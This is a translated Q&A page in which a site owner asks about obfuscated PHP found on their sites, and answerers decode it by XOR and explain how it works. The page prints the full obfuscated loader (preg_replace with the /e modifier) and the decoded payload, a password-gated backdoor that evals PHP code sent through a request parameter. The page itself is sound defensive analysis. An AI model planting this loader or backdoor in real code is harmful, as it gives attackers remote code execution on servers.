繁体   English   中英

解码一个奇怪的,可能是恶意的PHP代码

[英]Decoding a weird and possibly malicious PHP code

我在我的一些网站上看到以下代码:

preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL");
?>

我尝试像正常的eval一样解码,并通过一些解析而没有运气。 任何人都知道如何解码并查看它的作用?

它在preg_replace上使用/ e(eval)修饰符,但似乎没有做任何事情//

看看第二部分,我注意到它的两个字符串是xor'd在一起:

php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";                                              
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa";
php > $z=$x^$y;
php > print $z;
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }")
php > 

它在'ch'中查找“password”,如果密码hash匹配,那么eval在php_code param中的内容。

我不确定preg_replace是如何进入的

编辑

似乎preg替换正在替换与替换不匹配的东西,导致刚解码的东西运行。 考虑这个例子

<?php
preg_replace("/X/e","eval('print 1;');",'X');
?>

如果你运行它只是打印1.查看你的访问日志与那些url params(ch和php_code)的命中

只需取出正则表达式中的e ,这样就可以在替换和echo显替换后产生的代码后,使eval成为表达式。 它安装了一个后门,允许任何人eval通过URL发送的任何PHP代码。

请参见http://codepad.viper-7.com/VUmML8

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM